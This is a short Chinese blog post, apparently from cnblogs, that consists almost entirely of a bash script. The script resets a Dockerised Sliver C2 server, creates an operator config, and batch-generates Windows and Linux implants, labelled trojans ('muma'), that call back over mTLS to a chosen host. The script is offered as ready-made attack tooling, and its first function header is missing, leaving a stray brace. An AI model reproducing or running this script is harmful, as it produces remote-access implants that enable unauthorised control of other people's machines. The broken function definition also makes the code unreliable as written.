生成sliver木马多个步骤合成一个sh
#!/bin/bash
# date: 20230222
host_ip=$1
WORK_DIR=/opt/work
rm -rf /root/.sliver-client/
cd ${WORK_DIR}/sliver
rm -rf adjectives.txt bas_192.0.2.1.cfg muma_x* nouns.txt sliver.db version configs/database.json configs/http-c2.json
rm -rf builds/ certs/ go/ logs/ slivers/
cd ${WORK_DIR}
docker-compose restart sliver
}
generate_sliver_client_cfg(){
docker-compose exec -T sliver sh -c "cd /root/.sliver && ./sliver-server operator --name bas --lport 31337 --lhost 192.0.2.1 --save /root/.sliver/"
sleep 10
}
generate_agent(){
cd /opt/work/
./sliver-client import bas_192.0.2.1.cfg
rm -rf muma_x64_${host_ip}.exe muma_x86_${host_ip}.exe muma_x64_${host_ip} muma_x86_${host_ip}
./sliver-client <<EOF
generate --mtls ${host_ip}:9443 --arch amd64 --save muma_x64_${host_ip}.exe
EOF
./sliver-client <<EOF
generate --mtls ${host_ip}:9443 --arch 386 --save muma_x86_${host_ip}.exe
EOF
./sliver-client <<EOF
generate --mtls ${host_ip}:9443 --os linux --arch amd64 --save muma_x64_${host_ip}
EOF
./sliver-client <<EOF
generate --mtls ${host_ip}:9443 --os linux --arch 386 --save muma_x86_${host_ip}
EOF
}
init_sliver(){
clear_cfg
cd ${WORK_DIR}
generate_sliver_client_cfg
generate_agent
}
echo "开始时间: $(date +"%F %T")"
start_time=$(date +%s)
init_sliver
echo "结束时间: $(date +"%F %T")"
end_time=$(date +%s)
echo "【初始化完成】,耗时:$((end_time- start_time))s"
标签:ip,rf,host,sh,muma,木马,sliver
From: https://www.cnblogs.com/gatling/p/17565245.html